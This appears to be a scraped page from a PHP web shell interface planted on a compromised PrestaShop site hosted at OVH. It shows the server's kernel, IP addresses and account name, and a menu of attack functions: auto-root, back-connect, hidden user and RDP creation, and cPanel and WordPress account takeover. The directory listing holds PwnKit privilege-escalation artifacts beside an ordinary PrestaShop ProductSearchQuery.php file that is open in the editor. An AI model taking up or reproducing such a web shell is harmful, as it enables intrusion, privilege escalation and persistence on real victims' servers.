Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.104
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
newmed /
src /
Core /
Product /
Search /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
Exception
[ DIR ]
drwx---r-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
Facet.php
5.07
KB
-rw----r--
FacetCollection.php
1.85
KB
-rw----r--
FacetsRendererInterface.php
1.75
KB
-rw----r--
Filter.php
5.2
KB
-rw----r--
Pagination.php
4.29
KB
-rw----r--
ProductSearchContext.php
3.03
KB
-rw----r--
ProductSearchProviderInterface...
1.48
KB
-rw----r--
ProductSearchQuery.php
5.23
KB
-rw----r--
ProductSearchResult.php
3.92
KB
-rw----r--
SortOrder.php
6.16
KB
-rw----r--
SortOrderFactory.php
1.93
KB
-rw----r--
SortOrdersCollection.php
2.42
KB
-rw----r--
URLFragmentSerializer.php
3.95
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ProductSearchQuery.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ namespace PrestaShop\PrestaShop\Core\Product\Search; /** * Define the Product Query to execute according the the encoded facets. */ class ProductSearchQuery { /** * @var string */ private $queryType; /** * @var int */ private $idCategory; /** * @var int */ private $idManufacturer; /** * @var int */ private $idSupplier; /** * @var string */ private $searchString; /** * @var string */ private $searchTag; /** * @var array */ private $encodedFacets; /** * A default that is multiple of 2, 3 and 4 should be OK for * many layouts. * * @var int 12 is the best number ever */ private $resultsPerPage = 12; /** * @var int */ private $page = 1; /** * @var SortOrder */ private $sortOrder; /** * ProductSearchQuery constructor. */ public function __construct() { $this->setSortOrder(new SortOrder('product', 'name', 'ASC')); } /** * @param string $queryType * * @return $this */ public function setQueryType($queryType) { $this->queryType = $queryType; return $this; } /** * @return string */ public function getQueryType() { return $this->queryType; } /** * @param $idCategory * * @return $this */ public function setIdCategory($idCategory) { $this->idCategory = $idCategory; return $this; } /** * @return int */ public function getIdCategory() { return $this->idCategory; } /** * @param $idManufacturer * * @return $this */ public function setIdManufacturer($idManufacturer) { $this->idManufacturer = $idManufacturer; return $this; } /** * @return int */ public function getIdManufacturer() { return $this->idManufacturer; } /** * @param $idSupplier * * @return $this */ public function setIdSupplier($idSupplier) { $this->idSupplier = $idSupplier; return $this; } /** * @return int */ public function getIdSupplier() { return $this->idSupplier; } /** * @param $resultsPerPage * * @return $this */ public function setResultsPerPage($resultsPerPage) { $this->resultsPerPage = (int) $resultsPerPage; return $this; } /** * @return int */ public function getResultsPerPage() { return $this->resultsPerPage; } /** * @param $page * * @return $this */ public function setPage($page) { $this->page = (int) $page; return $this; } /** * @return int */ public function getPage() { return $this->page; } /** * @param SortOrder $sortOrder * * @return $this */ public function setSortOrder(SortOrder $sortOrder) { $this->sortOrder = $sortOrder; return $this; } /** * @return SortOrder */ public function getSortOrder() { return $this->sortOrder; } /** * @param $searchString * * @return $this */ public function setSearchString($searchString) { $this->searchString = $searchString; return $this; } /** * @return string */ public function getSearchString() { return $this->searchString; } /** * @param $searchTag * * @return $this */ public function setSearchTag($searchTag) { $this->searchTag = $searchTag; return $this; } /** * @return string */ public function getSearchTag() { return $this->searchTag; } /** * @param array $encodedFacets * * @return $this */ public function setEncodedFacets($encodedFacets) { $this->encodedFacets = $encodedFacets; return $this; } /** * @return array */ public function getEncodedFacets() { return $this->encodedFacets; } }
Close